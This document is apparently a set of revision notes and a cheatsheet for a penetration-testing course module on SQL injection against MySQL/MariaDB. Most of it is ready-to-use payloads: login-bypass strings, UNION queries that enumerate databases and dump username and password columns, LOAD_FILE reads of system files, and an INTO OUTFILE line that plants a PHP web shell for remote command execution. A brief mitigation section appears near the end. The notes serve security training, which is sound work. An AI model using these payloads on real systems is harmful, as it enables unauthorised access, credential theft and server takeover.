SQL Injection Fundamentals — Auth Bypass, UNION, Enumeration, File Read/Write and RCE (HTB CWES)

Built from the SQL Injection Fundamentals module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: SQL basics compressed, every injection payload and enumeration query kept, a full cheatsheet at the end. Labs and lessons are on HTB Academy (MySQL/MariaDB focus).

SQL injection happens when user input is concatenated into a SQL query without sanitization, letting you escape the string and run your own SQL. Impact ranges from auth bypass to dumping the whole database to reading/writing files and full RCE. This module is MySQL/MariaDB; NoSQL injection is a different beast.

1. SQL you actually need

Connect and query:

mysql -u root -p                 # -p prompts (don't put the password on the CLI)
mysql -u root -h HOST -P 3306 -p # remote; -P (uppercase) is the port, 3306 default

Core statements: SELECT cols FROM t WHERE cond, ORDER BY col [ASC|DESC], LIMIT n[,count], LIKE 'admin%' (% = any, _ = one char), UNION. Logical operators: AND/&&, OR/||, NOT/!. Precedence matters: AND is evaluated before OR. Strings go in quotes, numbers don't. Comments: -- (needs a trailing space, often written -- -), # (%23 in a URL), /**/.

2. The injection, and the types

Inject a single quote ' (or ") to break out of the string, then write SQL. Classified by how you read the output:

Class	Type	How you get output
In-band	UNION-based	Output printed directly on the page
	Error-based	Output forced into a SQL/PHP error message
Blind	Boolean-based	Infer bit-by-bit from whether the page changes
	Time-based	Infer from `SLEEP()`-induced delays
Out-of-band	—	Exfil to an external channel (e.g. DNS)

Discovery payloads — inject these and watch for an error or behaviour change:

Payload	URL-encoded
`'`	`%27`
`"`	`%22`
`#`	`%23`
`;`	`%3B`
`)`	`%29`

3. Auth bypass (subverting logic)

Given SELECT * FROM logins WHERE username='$u' AND password='$p', make the whole thing true. OR injection — admin' or '1'='1 as the username (drop the closing quote so the query's own quote balances):

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password='x';
-- AND binds first; the always-true OR makes the row return

No known username? Put the OR in the password, or inject straight into the first field: ' or '1'='1. Comment injection — truncate the rest of the query:

admin'-- -          →  WHERE username='admin'-- ' AND password='x'
admin')-- -         →  when the query wraps the field in parentheses

A big list of auth-bypass strings lives in PayloadsAllTheThings.

4. UNION injection

UNION welds a second SELECT onto the first, letting you pull data from anywhere. Two rules: same number of columns, compatible data types.

Step 1 — count the columns. ORDER BY until it errors (last success = column count), or UNION SELECT with increasing columns until it succeeds:

' ORDER BY 1-- -      ' ORDER BY 2-- -  …  (error at 5 ⇒ 4 columns)
cn' UNION SELECT 1,2,3,4-- -            (no error ⇒ column count is right)

Step 2 — find which columns are printed. Use numbers as placeholders; the ones echoed on the page (say 2,3,4) are where your data must go. Prove real data lands there:

cn' UNION SELECT 1,@@version,3,4-- -     (shows e.g. 10.3.22-MariaDB-1ubuntu1)

Fill unused columns with numbers or NULL (NULL fits any type).

5. Database enumeration via INFORMATION_SCHEMA

Fingerprint the DBMS first:

Query	Context	MySQL/MariaDB says
`SELECT @@version`	full output	a MySQL/MariaDB version
`SELECT POW(1,1)`	numeric only	`1`
`SELECT SLEEP(5)`	blind	5-second delay, then `0`

Then walk INFORMATION_SCHEMA (metadata about every DB/table/column); reference other DBs with the dot operator (dev.credentials):

-- databases
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
cn' UNION SELECT 1,database(),3,4-- -                       -- current DB
-- tables in a DB
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- -
-- columns in a table
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- -
-- dump the data (note the dot operator)
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -

(Skip the default DBs: mysql, information_schema, performance_schema, sys.)

6. Reading files with LOAD_FILE

Needs the FILE privilege. Check who you are and what you can do:

cn' UNION SELECT 1,user(),3,4-- -                                   -- or CURRENT_USER(), or user FROM mysql.user
cn' UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user='root'-- -   -- 'Y' = superuser
cn' UNION SELECT 1,grantee,privilege_type,4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -   -- look for FILE

Then read anything the MySQL OS user can:

cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
cn' UNION SELECT 1,LOAD_FILE('/var/www/html/search.php'),3,4-- -   -- leak source (view with Ctrl+U)

7. Writing files → web shell → RCE

Writing needs three things: FILE privilege, secure_file_priv permissive, and write access to the target dir. Check secure_file_priv (empty = anywhere, a dir = only there, NULL = nowhere):

cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -

Write with INTO OUTFILE. Prove it, then drop a PHP web shell and execute commands:

cn' UNION SELECT 1,'file written!',3,4 INTO OUTFILE '/var/www/html/proof.txt'-- -
cn' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- -

http://TARGET/shell.php?0=id      →  uid=33(www-data) …   (RCE as www-data)

Find the webroot by reading the server config via LOAD_FILE (/etc/apache2/apache2.conf, /etc/nginx/nginx.conf, IIS applicationHost.config), or fuzz common web roots (SecLists default-web-root-directory-*.txt). (Advanced binary writes use FROM_BASE64().)

8. Mitigation

Parameterized queries (the real fix) — placeholders, not concatenation: mysqli_prepare + mysqli_stmt_bind_param($stmt,'ss',$u,$p).
Input sanitization — mysqli_real_escape_string() (PHP/MySQL), pg_escape_string() (PostgreSQL) escape quotes.
Input validation — restrict to the expected shape: preg_match('/^[A-Za-z\s]+$/', $code).
Least privilege — the web DB user gets SELECT on only the tables it needs; never a superuser.
WAF — ModSecurity / Cloudflare block telltales like INFORMATION_SCHEMA.

9. What to carry into the CWES exam

Confirm with ', then pick the vector. Visible output → UNION; errors shown → error-based; neither → blind (SLEEP/boolean).
UNION drill: count columns (ORDER BY), find the printed ones (numbers), plant @@version, then pivot through SCHEMATA → TABLES → COLUMNS → data with WHERE filters and the dot operator.
Escalate past data: user() + user_privileges for FILE → LOAD_FILE to read source/secrets → secure_file_priv check → INTO OUTFILE a <?php system($_REQUEST[0]); ?> shell → ?0=id.
Comments are -- - (trailing space) or %23 in a URL; fill junk columns with NULL.
Set up Burp for HTTPS (integrated browser, or import the CA + FoxyProxy 127.0.0.1:8080) — the skills assessment target is HTTPS, black-box.

Cheatsheet — SQL Injection (MySQL/MariaDB)

Connect

mysql -u root -p                      # local
mysql -u USER -h HOST -P 3306 -p      # remote

Discovery / comments

inject: '  "  #  ;  )          url-enc: %27 %22 %23 %3B %29
comments: -- -   (trailing space)  |  #  (%23 in URL)  |  /**/

Auth bypass

admin' or '1'='1          -- OR injection (username)
' or '1'='1               -- straight into first field
admin'-- -                -- comment out the rest
admin')-- -               -- when field is wrapped in ()

UNION

' ORDER BY 1-- -   (increment until error = column count)
cn' UNION SELECT 1,2,3,4-- -                 (find column count / printed columns)
cn' UNION SELECT 1,@@version,3,4-- -         (prove data output)

Enumeration

cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
cn' UNION SELECT 1,database(),3,4-- -
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='DB'-- -
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='TBL'-- -
cn' UNION SELECT 1,username,password,4 FROM DB.TBL-- -

Fingerprint

SELECT @@version        SELECT POW(1,1)        SELECT SLEEP(5)

File read / write / RCE

cn' UNION SELECT 1,user(),3,4-- -                              -- current user
cn' UNION SELECT 1,grantee,privilege_type,4 FROM information_schema.user_privileges-- -   -- look for FILE
cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -            -- read file
cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -
cn' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- -
# then:  http://TARGET/shell.php?0=id

Mitigation

Parameterized: mysqli_prepare + mysqli_stmt_bind_param
Sanitize: mysqli_real_escape_string() / pg_escape_string()
Validate: preg_match('/^[A-Za-z\s]+$/', $x)
Least privilege DB user · WAF (blocks INFORMATION_SCHEMA)

Built from HTB Academy's SQL Injection Fundamentals module — labs, lessons and the CWES exam are on HTB Academy.